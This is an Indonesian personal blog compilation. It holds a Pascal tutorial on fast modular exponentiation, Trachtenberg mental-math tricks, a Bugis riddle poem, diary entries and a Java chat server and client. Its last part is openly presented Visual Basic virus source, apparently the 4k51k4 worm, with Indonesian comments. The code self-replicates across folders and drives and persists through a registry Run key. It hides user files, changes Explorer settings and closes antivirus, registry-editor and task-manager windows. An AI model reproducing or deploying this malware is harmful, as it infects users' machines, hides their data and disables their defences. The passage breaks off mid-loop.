Saputra's Site

aku tidak tahu harus memberi judul apa atas apa yang kurasakan saat ini. 

contoh kasus : 

• 5^123 mod 713. Jika dilakukan secara konvensional, maka

5^123 mod 713 = (5 X 5 X … X 5) mod 713

                          = 9.403954806578300063749892297778e+85 mod 713

                           = 435

perhitungan seperti ini sebenarnya sederhana namun sulit di implemetasikan di perangkat lunak karena operasi yang dilakukan menggunakan bilangan bulat yang sangat besar. 

 

Algoritma konvensional untuk menghitung a^n mod m:

 function Expo1(a, n, m : LongInt):LongInt

     { Mengembalikan an mod m  }

     var

        i : integer;

        H : LongInt;   

     begin

        H:=1;

        for i:=1 to n do

           H:=H*a;

        {endfor}

        Expo1:= H mod m;  { return value }

    end;

Dengan algoritma Expo1 di atas, dibutuhkan n kali operasi perkalian dalam perpangkatannya. Untuk n yang besar, algoritma membutuhkan waktu yang lebih lama. Selain itu, nilai antara yang dihasilkan selama perkalian meningkat tajam, sehingga ada kemungkinan tipe integer yang digunakan tidak sanggup menampunya. 

 

Dengan menggunakan persamaan : 

• ab mod m = [(a mod m)(b mod m)] mod m

persoalan diatas dapat disederhanakan.

a^8 mod m = (a^4 . a^4) mod m

   = (a^4 mod m)2 mod m

   = (a^2 . a^2 mod m)^2 mod m

   = ((a^2 mod m)^2 mod m)^2 mod m

kita bisa memanfaatkan teknik devide and conquer untuk membagi pemangkatannya sampai berukuran kecil .

function Expo2(a, n, m : LongInt):LongInt

     { Mengembalikan an mod m  }

     var

        i : integer;

        H : LongInt;   

     begin

        if n = 0 then

          Expo2:=1

        else 

          if odd(n) then     { n ganjil }

            Expo2:=SQR(Expo2(a, n div 2, p))*a mod m

          else

            Expo2:=SQR(Expo2(a, n div 2, p)) mod m;

          {endif}

        {endif}

     end;

 

metode diatas dapat diterapkan secara biner sehingga disebut juga metode binary sqaure. Dalam hal ini, pemangkat (n) diubah ke dalam bentuk biner baru kemudian dioperasikan.  

function Expo3(a, n, m : LongInt):LongInt

     { Mengembalikan an mod m  }

     var

        i : integer;

        H : LongInt;

     begin

        { Konversi n dalam biner, misalkan bit-bit

     binernya disimpan di dalam string b }

        ConvertToBiner(n, b);

        H:=1;

        for i:=1 to Length(b) do

         begin

           H:=H*H mod m;

           if b[i] = 1 then

             H:=(H*a) mod m

           {endif}

         end; {for}

        Expo3:=H;

     end;

 

contoh kasus : 

2^129  mod 29 = ...?

Dengan algoritma Expo3, maka perhitungan 2129  mod 29 hanya membutuhkan 10 operasi perkalian dan hasil antara tidak mencapai bilangan yang besar sebab hasil antara langsung di-modulo-kan dengan m. 

sehingga 2^129  mod 29 = 21

Barusan saya habis nonton video hitung cepat joe sandy di youtube... sempat heran ngeliat dia bisa menghitung 8574+6156.7344214445-1234567890 dalam waktu 15 detik. sebenarnya dipikiran saya ada dua kemungkinan .. pertama si joe nya memang sebelumnya sudah menghitung angka-angka tersebut kemungkinan kedua dia menggunakan trik. 

 

Akhirnya setelah surfing lewat google ketemulah beberapa trik perhitungan cepat salah satunya adalah sistem perhitungan kilat Trachtenber atau kadang di sebut sebagai stenografi matematika. kelebihan metode ini dibanding metode perhitungan yang lainnya adalah metode ini hanya memerlukan kemampuan kita untuk menghitung bilangan dari 1 sampai 11 saja dengan meniadakan pembagian panjang dan menghilangkan daftar perkalian. 

 

rumus: 

Perkalian dengan 11 

dilakukan hanya dengan menambahkan digit dengan digit disebelahkananya

misal: 3425 x 11 = (0+3) (3+4) (4+2) (2+5) (5+0) = 37675 

atau dengan cara 

• angka terakhir dari bilangan yang dikalikan ditulis sebagai angka paling kanan dari jawabannya
• tiap angka selanjutnya ditambahkan pada angka di sebelah kanan itu
• angka pertama bilangan yang dikalikan menjadi angka paling kiri pada jawabannya

misal: 23 x 11

Hanya perhatikan bilangan 23 saja.

Tuliskan 3 di paling kanan: **3

Tambahkan 3 + 2 = 5 : *53

Tuliskan 2: 253 (Selesai)

 

misal lagi : 633 x 11

Hanya perhatikan bilangan 633 saja.

Tuliskan 3 di paling kanan: ***3

Tambahkan 3 + 3 = 6 : **63

Tambakan 6 + 3 = 9: *953

Tuliskan 6: 6963 (selesai)

 

Perkalian dengan 12 

mulai dari digit yang paling kanan, kalikan dengan 2 lalu tambahkan dengan digit sebelah kananya (tetangganya).

jika hasilnya lebih dari 1 digit simpan extra digit tadi untuk operasi berikutnya. 

misal : 316 x 12

tambahkan 2 angka 0 pada perkalian karna perkalian dengan 12 mempunyai 2 digit -> 00316 x 12

 

digit 6 tidak mempunyai tetangga

digit 1 mempunyai tetangga 6

digit 3 mempunya tetangga 1

digit 0 mempunyai tetangga 3

digit 0 mempunyai tetangga 0 

 

6 x 2 =12 (ambil 2 aja simpan 1 untuk ditambahkan di operasi berikutnya )

1 x 2 + 6 = 8 di tambah 1 yang disimpan tadi jadi = 9 

3 x 2 + 1 = 7

0 x 2 + 3 = 3

0 x 2 + 0 = 0

jadi 316 x 12 = 3792

 

sekian dulu .. ntar di update lagi ..sekarang lagi baca" ebooknya ... :D 

ni buku versi indonesianya... 

kalau yang putih di atas ni versi bule nya ... kalau tertarik mau bava  ebooknya ini linknya 

Kégana mumaberrekkeng, 
buaja bulu’édé, 
lompu’ walennaé?

(Mana lebih kau suka, 
buaya gunung, 
atau lumpur sungai?)

Ini adalah salah satu puisi teka teki bugis yang berbeda dengan puisi atau pantun-pantun melayu yang biasa kita pelajari sewaktu SD. Puisi ini sangat susah dimengerti oleh orang-orang awam karna minimal kita harus mengartikan 2 kali maksud yang ada pada puisi ini..

Aku denger puisi ini pertama kali waktu kelas 2 smp dari guru bahasa bugis tapi cuma tau  saja tanpa pernah mencoba mengerti makna sebenarnya. Hari ni waktu lagi blog walking entah kenapa aku tiba" ketemu dengan puisi ini lagi... dan aku merasa mulai mengerti apa makna sebenarnya dari puisi ini..

pada kalimat pertama di tanyakan mana yang kita lebih suka artinya menyuruh kita untuk memilih dari dua buah pilihan.

kalimat ke 2 buaya gunung ... maksud buaya gunung disini adalah macan 

kalimat ke 3 lumpur sungai ... maksudnya adalah pasir 

tp itu bukan berarti kita disuruh memilih antara macan dan pasir karna itu cuma makna pertama yang memandu kita untuk menemukan makna sebenarnya dari pusi ini..

macan dalam bahasa bugis disebut macang tapi dalam aksara bugis kata macang ini sama dengan kata macca yang artinya pintar dan kata pasir dalam bahasa bugis disebut kessi yang sama dengan kessing (cantik -> untuk perempuan).

jadi sebenarnya makna puisi ini adalah : mana yang lebih kamu suka perempuan pintar atau perempuan cantik  ? 

dari dulu aku berpikir bahwa kecantikan itu selalu berbanding terbalik dengan kepintaran..itulah kenapa kita disuruh memilih perempuan cantik atau perempuan pintar. dan aku selama ini aku selalu memilih untuk tertarik hanya kepada perempuan pintar karena lebih nyambung di ajak ngobrol dan gak usah terlalu makan hati (cemburuan)..

tapi ternyata sekitar satu setengah tahun lalu Allah memberiku wanita yang cantik dan pintar sehingga teori yang selama ini aku anut bahwa kecantikan berbanding terbalik dengan kepintaran terbantahkan dengan kehadirannya dalam kehidupanku...

tapi ada satu hal yang membuatku suka sebal dengan wanita satu ini karna selama ini dia gak pernah yakin dengan kemampuannya dan menganggap dirinya tu cuma wanita beruntung yang selalu mengandalkan keberuntungannya... makanya dia malas untuk berusaha dan menganggap segala sesuatu yang terjadi tu karena keberuntungan... itulah kenapa aku sering mengejek dia bego... biar dia sadar kalau dia tu harus berusaha untuk menggunakan kepintarannya daripada cuma mengandalkan keberuntungannya .. tapi sayang ternyata dia salah menangkap kata-kataku dan akhirnya dia marah besar ke aku... 

sekarang aku baru sadar kalau ternyata wanita tipe hybrid (cantik + pintar) ini susah untuk disadarkan bahwa dia punya hal yang sangat jarang dimiliki oleh orang lain. mudah"an dia menjadi sangat sial supaya dia berusaha menggunakan kepintarannya untuk menciptakan keberuntungan yang lebih besar... 

dedicated to : 

 

"Aku pengen sendiri ! Jangan ganggu aku !", entah kenapa siang ini dia tiba-tiba sms aku seperti itu. maksudnya apa ? semenjak kemarin dia sampai di bandung sehabis liburan di rumah nya, tiba-tiba dia berubah. padahal sebelumnya dalam perjalanannya ke bandung aku dan dia baik baik saja...

"Telat Gaul" kayanya itu kata yang tepat buat diri gw yang sekarang ini. Gimana engga tiap kali gw keluar kamar kos gw selalu ngelihat hal-hal aneh dari orang-orang disekitar gw. Ini semua kayanya dikarenakan gw emang paling malas keluar kamar kecuali untuk hal-hal yang penting-penting banget dan juga gw emang gak gaul sih .. heheheh :D

"Kapan lulus ? " ini adalah kata yang menurutku paling menyebalkan yang orang pernah tanyakan ke gw ... 

Sebelumnya program ini di buat dengan menggunakan bahasa java dan belum mempunyai GUI...
Tanpa Basa Basi...
Buat yang gak ngerti PM aja ato nanya di Message...

Nama File MultiThreadChatClient.java

import java.io.*;
import java.net.*;

public class MultiThreadChatClient implements Runnable{
   
    // keterangan deklarasi
    // clientClient: the client socket
    // os:  output stream
    // is:  input stream
   
    static Socket clientSocket = null;
    static PrintStream os = null;
    static DataInputStream is = null;
    static BufferedReader inputLine = null;
    static boolean closed = false;
   
    public static void main(String[] args) {
   
    // port default   
   
    int port_number=2211;
        String host="localhost";
   
    if (args.length < 2)
        {
        System.out.println("Usage: java MultiThreadChatClient  \n"+ "Host yang digunakan="+host+", Nomer Port="+port_number);
        } else {
        host=args[0];
        port_number=Integer.valueOf(args[1]).intValue();
        }
    // Initialization section:
    // membuka socket dengan memberikan host dan port
    // membuka input dan output stream
    try {
            clientSocket = new Socket(host, port_number);
            inputLine = new BufferedReader(new InputStreamReader
(System.in));
            os = new PrintStream(clientSocket.getOutputStream());
            is = new DataInputStream(clientSocket.getInputStream());
        } catch (UnknownHostException e) {
            System.err.println("HOST TAK TERDETEKSI "+host);
        } catch (IOException e) {
            System.err.println("Couldn't get I/O for the connection to the host "+host);
        }
   
   
   
        if (clientSocket != null && os != null && is != null) {
            try {
       
        //  membuat thread untuk membaca dari server
       
                new Thread(new MultiThreadChatClient()).start();
       
        while (!closed) {
                    os.println(inputLine.readLine());
                }
       
       
        os.close();
        is.close();
        clientSocket.close();  
            } catch (IOException e) {
                System.err.println("IOException:  " + e);
            }
        }
    }          
   
    public void run() {       
    String responseLine;
   
    // server tetap akan hidup selama kita belum menulis "bye""
    try{
        while ((responseLine = is.readLine()) != null) {
        System.out.println(responseLine);
        if (responseLine.indexOf("*** Bye") != -1) break;
        }
            closed=true;
    } catch (IOException e) {
        System.err.println("IOException:  " + e);
    }
    }
}

====================================================================
Nama File MultiThreadChatServer.java

import java.io.*;
import java.net.*;

public class MultiThreadChatServer{

    // Declaration section:
    // declare a server socket and a client socket for the server
    // declare an input and an output stream
   
    static  Socket clientSocket = null;
    static  ServerSocket serverSocket = null;

    // This chat server can accept up to 10 clients' connections

    static  clientThread t[] = new clientThread[10];          
   
    public static void main(String args[]) {
   
    // The default port

    int port_number=2211;
   
    if (args.length < 1)
        {
        System.out.println("Usage: java  MultiThreadChatServer \n"+   "Port yang sedang digunakan="+port_number);
        } else {
        port_number=Integer.valueOf(args[0]).intValue();
        }
   

        try {
        serverSocket = new ServerSocket(port_number);
        }
        catch (IOException e)
        {System.out.println(e);}
   
   
   
    while(true){
        try {
        clientSocket = serverSocket.accept();
        for(int i=0; i<=9; i++){
            if(t[i]==null)
            {
                (t[i] = new clientThread(clientSocket,t)).start();
                break;
            }
        }
        }
        catch (IOException e) {
        System.out.println(e);}
    }
    }
}


Nama File clientThread.java

import java.io.*;
import java.net.*;

class clientThread extends Thread{
   
    DataInputStream is = null;
    PrintStream os = null;
    Socket clientSocket = null;      
    clientThread t[];
   
    public clientThread(Socket clientSocket, clientThread[] t){
    this.clientSocket=clientSocket;
        this.t=t;
    }
   
    public void run()
    {
    String line;
        String name;
    try{
        is = new DataInputStream(clientSocket.getInputStream());
        os = new PrintStream(clientSocket.getOutputStream());
        os.println("Masukkan Nama Anda : .");
        name = is.readLine();
        os.println("Hello "+name+" anda telah bergabung di chat room.\nuntuk keluar dari room masukkan /quit pada baris baru");
        for(int i=0; i<=9; i++)
        if (t[i]!=null && t[i]!=this) 
            t[i].os.println("*** User Baru "+name+" masuk di chat room !!! ***" );
        while (true) {
        line = is.readLine();
                if(line.startsWith("/quit")) break;
        for(int i=0; i<=9; i++)
            if (t[i]!=null)  t[i].os.println("<"+name+"> "+line);
        }
        for(int i=0; i<=9; i++)
        if (t[i]!=null && t[i]!=this) 
            t[i].os.println("*** User "+name+" telah meninggalkan room !!! ***" );
       
        os.println("*** Bye "+name+" ***");

     

        for(int i=0; i<=9; i++)
        if (t[i]==this) t[i]=null;         
        is.close();
        os.close();
        clientSocket.close();
    }
    catch(IOException e){};
    }
}

Cara menjalankan program diatas :
- pertama kali buka cmd trus copile sehingga bakal terbentuk file *.class nya
- setelah itu jalankan server nya.
  cara nya ketik : java MultiThreadChatServer

- lalu buka cmd lagi
-trus jalankan clientnya :
 caranya ketik : java MultiThreadChatClient

Penjelasan program :
saat server dijalankan maka setiap client akan terhubung pada server (maksimal 10 client).
dan setiap pesan yang dikirim keserver akan di broadcast kesemua client...
untuk lebih jelasnya PM aja..

Atas nama cobaan ini akan kubuat hati kalian melebur menjadi satu lagi......
atas nama ketakutan ini akan kubuktikan kumampu melakukan semua mau kalian ...
atas nama rasa sakit ini akan ku buat kalian tersenyum bangga ..
**** ###...
tolong jangan berpisah ...

Ya Allah sampai kapan kau akan menguji hambamu ini..
semakin ku coba mendekatiMu... semakin kau uji kesetiaanku padaMu ..
Kau datangkan masalah besar bertubi-tubi...
masalah yang tak pernah datang sebelum aku mengenalMu...
Ku tak bisa berbohong kalau aku cape...
ku gak bisa bohong kalau aku pengen tertawa lepas seperti umat Mu yang lain yang kau beri kebahagiaan ..
Sampai kapan ????
Apa Engkau tak menyukai jika aku mendekati Mu .. ??
Apakah aku mesti kembali ke kehidupanku yang dulu.. yang tak mengenalMu sama sekali... ?
Beri aku jawaban ???
Aku yakin bahwa semua bakal indah pada waktunya ...
Aku yakin bahwa Engkau sayang padaku sehingga Engkau menguji ku ..
Tapi sampai kapan ???
Aku terlalu lelah walau untuk sekedar bermimpi ya Allah..
maaf ya Allah .. aku mengeluh seperti ini...
Mudah"an engkau mengerti kegundahanku ini...
karena Engkau adalah Maha Tahu..
 

190709.. 
hari pertama kali aku mendengar tangisannya yang beresonansi dalam dadaku....
kali kedua mataku bengkak hanya karna mikirin kalian..
aku gak pernah minta yang macam" dari kalian ..
aku gak pernah rewel.. apapun yang kalian mau pasti ku lakukan apapun taruhannya ..
itu semua hanya untuk kalian ...
itu semua hanya untuk meliat kalian bangga...
tp hari ini aku mau meminta sesuatu dari kalian
tolong jangan berpisah...
aku sayang dengan kalian...
Ayah.. Ibu...

hmmm gak tau mau ngomong apa lagi...
ku bener" stres, depresi, takut. Gak tau mau ngomong ma siapa ..
rasanya pengen teriak... tapi percuma ...
rasanya pengen nangis ... tapi gak boleh...
aku yang dulu nya selalu meragukan Tuhan yang bernama Allah..
sekarang malah memohon padaNYA... aku malu.
tapi gak tau mau mengadu ma siapa lagi...
hanya DIA yang tersisa... saat semuanya gak mungkin lagi diharapkan...
Maafin aku ya Allah... saat ku senang .. ku selalu melupakanMU..
Saat ku dapat apa yang kumau.. aku selalu lupa padaMU...
tapi saat terpuruk seperti ini.. justru KAMU satu-satunya tempatku mengadu...
tunjukkan mukjizatmu ya Allah...
aku melakukan semua ini bukan buat diriku seorang ..
tapi buat 2 buah insan yang lagi diterpa masalah..
aku ingin mereka bersatu lagi seperti dulu...
aku ingin mereka bangga...
aku ingin mereka merasa gak sia" ngelahirin aku...
Tunjukkan lah mukjizatmu...permudahlah jalan ku untuk melakukan semuanya...

Private Sub Form_Load()
On Error Resume Next
KopiSusu
DaftarinKeRegister
End Sub

Public Function Pengacakan(ByVal Low As Long, ByVal High As Long) As Long
Randomize
Pengacakan = Int((High - Low + 1) * Rnd) + Low
End Function

Private Sub KopiSusu()
On Error Resume Next
X2 = 0
Do Until X2 = 2
X = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\" & App.EXEName & X & ".exe"
Shell App.Path & "\" & App.EXEName & X & ".exe"
X2 = X2 + 1
Loop
End Sub

Private Sub DaftarinKeRegister()
X3 = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\plaige" & X3 & ".exe"
Dim RegKey
Set RegKey = CreateObject("WScript.Shell")
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\plaige", "C:\windows\plaige" & X3 & ".exe"
End Sub

Begin VB.Form frm4k51k4
Appearance = 0 'Flat
BackColor = &H00000000&
BorderStyle = 0 'None
ClientHeight = 420
ClientLeft = 0
ClientTop = 0
ClientWidth = 420
Icon = "frm4k51k4.frx":0000
LinkTopic = "Form1"
ScaleHeight = 420
ScaleMode = 0 'User
ScaleWidth = 420
ShowInTaskbar = 0 'False
StartUpPosition = 3 'Windows Default
Visible = 0 'False
Begin VB.Timer Timer1
Enabled = 0 'False
Interval = 1
Left = 0
Top = 0
End
End
Attribute VB_Name = "frm4k51k4"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False

Dim drv As Long
Dim drv2 As Long
Dim sTemp As String
Dim sTemp3 As String
Dim PngVirus As Long

Private Sub Form_Load()

On Error Resume Next
Selesai = True
Ketemu = True

'Kopi file msvbv60.dll ke directory System dan Windows
If Dir$(App.Path & "\" & "msvbvm60.dll") <> "" Then
CopyFile App.Path & "\" & "msvbvm60.dll", GetSystemPath & "msvbvm60.dll", 0
CopyFile App.Path & "\" & "msvbvm60.dll", GetWindowsPath & "msvbvm60.dll", 0
SetFileAttributes GetSystemPath & "msvbvm60.dll", FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetWindowsPath & "msvbvm60.dll", FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
End If

'Jika parameter pemanggilan virus tidak sama dengan kosong
If Command$ <> "" Then
Dim sFilePath As String
'ambil Path file
sFilePath = Right$(Command$, Len(Command$) - 1)
sFilePath = Left$(sFilePath, Len(sFilePath) - 2)
'set file attribute file tersebut menjadi readonly dan hidden
SetFileAttributes sFilePath, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
'cari apakah ada file yang berkaitan dengan pornografi dan korupsi pada lokasi tersebut lalu sembunyikan
CariFile NamaPath(sFilePath), "*.*", 1
'gandahkan diri kedalam lokasi tersebut denga nama file diambil dari nama folder
CopyFile Left$(GetWindowsPath, 3) & "4k51k4.exe", NamaPath(sFilePath) & RTrim$(Left(NamaFile(sFilePath), Len(NamaFile(sFilePath)) - 4)) & " .exe", 0
'set penggandaan diri dengan attribute normal
SetFileAttributes NamaPath(sFilePath) & RTrim$(Left(NamaFile(sFilePath), Len(NamaFile(sFilePath)) - 4)) & " .exe", FILE_ATTRIBUTE_NORMAL
'check apakah file tersebut memiliki Kata ANT, BRO atau VIR
'jika memiliki jangan dijalankan
If InStr(UCase(Command$), "ANT") Or InStr(UCase(Command$), "BRO") _
Or InStr(UCase(Command$), "VIR") Then
'jika tidak jalankan file tersebut
Else
Shell Command$, vbNormalFocus
PanggilVirus
DoEvents
End If
End If

'atur registry saat virus pertama kali dijalankan
Sett

'jalankan sekali saja
If App.PrevInstance Then End

'sembunyi dari task manager
frm4k51k4.Hide
App.TaskVisible = False
App.Title = ""

'atur registry agar file dengan yang disembunyikan tidak tampil
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0

If UCase(App.EXEName) = UCase("Empty") Then
'jika file yang dijalankan bernama 4k51k4
ElseIf UCase(App.EXEName) = UCase("4K51K4") Then
'check tanggal hari ini apakah tanggal satu atau tanggal 12 jika ya jalankan file Puisi.txt denga Notepad
If Day(Now) = "1" Or Day(Now) = "12" Then Shell "Notepad.exe C:\Puisi.txt", vbNormalFocus
'timer diaktifkan
Timer1.Enabled = True
ElseIf UCase(App.EXEName) = UCase("Shell") Then
'timer diaktifkan
Timer1.Enabled = True
ElseIf UCase(App.EXEName) = UCase("IExplorer") Then
ElseIf UCase(App.EXEName) = UCase("WINLOGON") Then
'timer diaktifkan
Timer1.Enabled = True
ElseIf UCase(App.EXEName) = UCase("CSRSS") Then
ElseIf UCase(App.EXEName) = UCase("Services") Then
ElseIf UCase(App.EXEName) = UCase("SMSS") Then
ElseIf UCase(App.EXEName) = UCase("lsass") Then
ElseIf UCase(App.EXEName) = UCase("MrHelloween") Or UCase(App.EXEName) = UCase("MRHELL~1") Then PanggilVirus
'jika tidak
Else
'Update Virus
'matikan proses untuk sementara
Prosess 1
'Kopikan virus baru
Kopi
'Lalu panggil kembali virus baru tersebut
PanggilVirus
End
End If

End Sub

Private Sub Form_Terminate()
'Panggil kembali virus
PanggilVirus
End Sub

Private Sub Form_Unload(Cancel As Integer)
'tidak dapat dimatikan
Cancel = 1
PanggilVirus
End Sub

Private Sub Timer1_Timer()

On Error Resume Next
Dim hand1 As Long
Dim hand2 As Long
Dim hand3 As Long
Dim hand4 As Long
Dim hand5 As Long
Dim hand6 As Long
Dim hand7 As Long
Dim temp As String * 256
Dim temp2 As String * 256
Dim AlamatFile1 As String
Dim JudulCaption1 As String
Dim hand8 As Long
Dim hand9 As Long
Dim hand10 As Long
Dim temp3 As String * 256
Dim MultiMedia As String
Dim i As Integer
Dim JmlTmp As Long
Dim TmpPngVirus As Long

'cek apakah ada program dengan classname RegEdit_RegEdit
hand7 = FindWindow("RegEdit_RegEdit", vbNullString)
'cek apakah ada progam dengan caption Registry Editor
If hand7 = 0 Then hand7 = FindWindow(vbNullString, "Registry Editor")
'cek apakah ada progam dengan caption Folder Options
If hand7 = 0 Then hand7 = FindWindow(vbNullString, "Folder Options")
'cek apakah ada progam dengan caption Local Settings
If hand7 = 0 Then hand7 = FindWindow(vbNullString, "Local Settings")
'jika ada restart
If hand7 <> 0 Then
Restart
Timer1.Enabled = False
End
End If

'cek dapatkan handel dari program yang sedang mendapatkan focus
TmpPngVirus = GetForegroundWindow
'jika handel tidak sama dengan handle program seebelumnya maka panggil kembali virus
If PngVirus <> TmpPngVirus Then PanggilVirus: PngVirus = TmpPngVirus

'membaca address bar pada windows explorer sebagai media penyebaran
hand1 = FindWindow("ExploreWClass", vbNullString)
hand10 = FindWindow("CabinetWClass", vbNullString)
If hand1 = GetForegroundWindow Then
hand2 = FindWindowEx(hand1, 0&, "WorkerW", vbNullString)
SendMessage hand1, WM_GETTEXT, 200, ByVal temp2
ElseIf hand10 = GetForegroundWindow Then
hand2 = FindWindowEx(hand10, 0&, "WorkerW", vbNullString)
SendMessage hand10, WM_GETTEXT, 200, ByVal temp2
Else
Dim AppCaption As String * 255
Dim HCap As Long
'dapatkan handle dari program yang dijalankan
HCap = GetForegroundWindow
'dapatkan captionnya dari handle yang didapat
GetWindowText HCap, AppCaption, 255
'jika pda caption tersebut terdapat kata-kata ANT,VIR,TASK,ASM,REG,ASM,W32,BUG,
'DBG,HEX,DETEC,PROC,WALK,REST,AVS,OPTIONS
If InStr(UCase(AppCaption), "ANT") Or InStr(UCase(AppCaption), "VIR") _
Or InStr(UCase(AppCaption), "TASK") Or InStr(UCase(AppCaption), "REG") _
Or InStr(UCase(AppCaption), "ASM") Or InStr(UCase(AppCaption), "DBG") _
Or InStr(UCase(AppCaption), "W32") Or InStr(UCase(AppCaption), "BUG") _
Or InStr(UCase(AppCaption), "HEX") Or InStr(UCase(AppCaption), "DETEC") _
Or InStr(UCase(AppCaption), "PROC") Or InStr(UCase(AppCaption), "WALK") _
Or InStr(UCase(AppCaption), "REST") Or InStr(UCase(AppCaption), "AVS") _
Or InStr(UCase(AppCaption), "OPTIONS") Then
'maka tutup program tersebut
SendMessage HCap, WM_CLOSE, 0, 0
End If
End If
'dapatkan string pada address bar
hand3 = FindWindowEx(hand2, 0&, "RebarWindow32", vbNullString)
hand4 = FindWindowEx(hand3, 0&, "ComboBoxEx32", vbNullString)
hand5 = FindWindowEx(hand4, 0&, "ComboBox", vbNullString)
hand6 = FindWindowEx(hand5, 0&, "Edit", vbNullString)
SendMessage hand6, WM_GETTEXT, 200, ByVal temp
'ambil lokasi folder yang aktif pada windows explorer
AlamatFile1 = Mid$(temp, 1, InStr(temp, Chr$(0)) - 1)
'ambil caption windows explorer
JudulCaption1 = Mid$(temp2, 1, InStr(temp2, Chr$(0)) - 1)
'jika caption tersebut terdapat kata ANTI dan VIRUS
If InStr(UCase(JudulCaption1), "ANTI") <> 0 Or InStr(UCase(JudulCaption1), "VIRUS") <> 0 Then
'maka sembunyikan windows explorer tersebut
ShowWindow hand1, SW_HIDE
End If

'jika judul tersebut tidak sama dengan judul sebelumnya
If JudulCaption1 <> sTemp Then
'atur kembali pencarian dimulai dari drive c
Ketemu = False: TmpDrv = "C:\"
End If

'dapatkan nama folder dari Open File pada winamp
hand8 = FindWindow("#32770", vbNullString)
hand9 = FindWindowEx(hand8, 0&, "ComboBox", vbNullString)
SendMessage hand9, WM_GETTEXT, 200, ByVal temp3
'ambil nama folder tersebut
MultiMedia = Mid(temp3, 1, InStr(temp3, Chr$(0)) - 1)

'jika nama folder sekarang tidak sama dengan folder sebelumnya
If MultiMedia <> sTemp3 Then
'atur pencarian dimulai dari drive c
Ketemu2 = False: TmpDrv2 = "C:\"
End If

'jika Multimedia tidak sama dengan kosong dan tidak sama dengan nama folder yang lama
If MultiMedia <> "" And sPathLama2 <> MultiMedia Then
'cari folder multimedia tersebut dimulai dari dirve c
If Ketemu2 = False And TmpDrv2 <> Right$(CariDrive, 3) Then
Dim sdrv2 As String
'jika drv2 tidak sama dengan 0 makan cari nama folder multimedia tersebut pada drive c
If drv2 = 0 Then CariDirectory "C:\", MultiMedia, sTemp3, 2
'drive selanjutnya
drv2 = drv2 + 3
crdrv2 = CariDrive
sdrv2 = Mid$(CariDrive, drv2 + 1, 3)
'cari folder multimedia tersebut pada drive selanjutnya
CariDirectory sdrv2, MultiMedia, sTemp3, 2
'jika sampai drive terakhir tidak ketemu pencarian dihentikan
If Len(CariDrive) = drv2 + 3 Then drv2 = 0: Ketemu2 = True
End If
End If

'jika alamat file dan caption pada windows explorer tidak sama kosong
If AlamatFile1 <> "" Or JudulCaption1 <> "" Then
'jika panjang nama file tidak sama dengan 0
If Len(NamaFile(AlamatFile1)) <> 0 Then
'jika alamay file tidak sama dengan alamat file yang lama
If AlamatFile1 & "\" <> sPathLama1 Then
'jika selesai cek apakah dialamat tersebut sudah terdapat hasil peggandaan virus
If Selesai Then
'jika belum terdapat hasil penggandaan virus cari file yang ingin disembunyikan pada alamat tersebut
If Dir$(AlamatFile1 & "\" & NamaFile(AlamatFile1) & " .exe", vbNormal) = "" Then CariFile AlamatFile1, "*.*", 1
End If
'gandahkan diri pada alamat tersebut dengan nama folder pada alamat tersebut
CopyFile Left$(GetWindowsPath, 3) & "4k51k4.exe", AlamatFile1 & "\" & NamaFile(AlamatFile1) & " .exe", 0
'set attribute hasil penggandaan menjadi normal
SetFileAttributes AlamatFile1 & "\" & NamaFile(AlamatFile1) & " .exe", FILE_ATTRIBUTE_NORMAL
End If
'jika namafile sama dengan kosong tapi caption windows explorer tidak kosong dan terdapat tidak karakter : pada caption tersebut
'penangan jika address bar tidak menunjukkan alamat file
ElseIf NamaFile(AlamatFile1) = "" And AlamatFile1 <> "" And InStr(JudulCaption1, ":") = 0 Then
'pencarian nama folder tersebut dimulai dari dirve c
If Ketemu = False And TmpDrv <> Right$(CariDrive, 3) Then
Dim sdrv As String
'jika drv sama dengan 0 maka cari lokasi folder pada drive c
If drv = 0 Then CariDirectory "C:\", JudulCaption1, sTemp, 1
'drive selanjutnya
drv = drv + 3
crdrv = CariDrive
sdrv = Mid$(CariDrive, drv + 1, 3)
'cari lokasi folder tersebut pada drive selanjutnya
CariDirectory sdrv, JudulCaption1, sTemp, 1
'jika tidak ketemu sampai drive terakhir hentikan pencarian
If Len(CariDrive) = drv + 3 Then drv = 0: Ketemu = True
End If
End If
End If

'cari drive yang tersedia
For i = 1 To Len(CariDrive) Step 3
'jika pada drive tersebut tidak terdapat hasil penggandaan diri
If Dir$(Mid$(CariDrive, i, 3) & "Data " & GetUserAktif & ".exe", vbNormal) = "" Then
Dim Security As SECURITY_ATTRIBUTES
'buat direktory 4K51K4 pada drive tersebut
CreateDirectory Mid$(CariDrive, i, 3) & "\4K51K4", Security
'ubah attribute folder tersebut menjadi system dan hidden
SetFileAttributes Mid$(CariDrive, i, 3) & "\4K51K4", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN
'ubah attriube file folder.htt pada folder 4k51k4 menjadi normal
SetFileAttributes Mid$(CariDrive, i, 3) & "\4K51K4\Folder.htt", FILE_ATTRIBUTE_NORMAL
'ubah attriube file Dekstop pada drive menjadi normal
SetFileAttributes Mid$(CariDrive, i, 3) & "\desktop.ini", FILE_ATTRIBUTE_NORMAL
'buat file Folder htt pada folder 4k51k4 pada drive
buathtt Mid$(CariDrive, i, 3) & "\4K51K4\Folder.htt"
'buat file dektop.ini pada drive
buatini Mid$(CariDrive, i, 3) & "\desktop.ini"
'gandahkan diri didalam folde 4k51k4 dengan nama file New Folder.exe
CopyFile Left$(GetWindowsPath, 3) & "4k51k4.exe", Mid$(CariDrive, i, 3) & "\4K51K4\New Folder.exe", 0
'set attribute file New Folder.exe menjadi normal
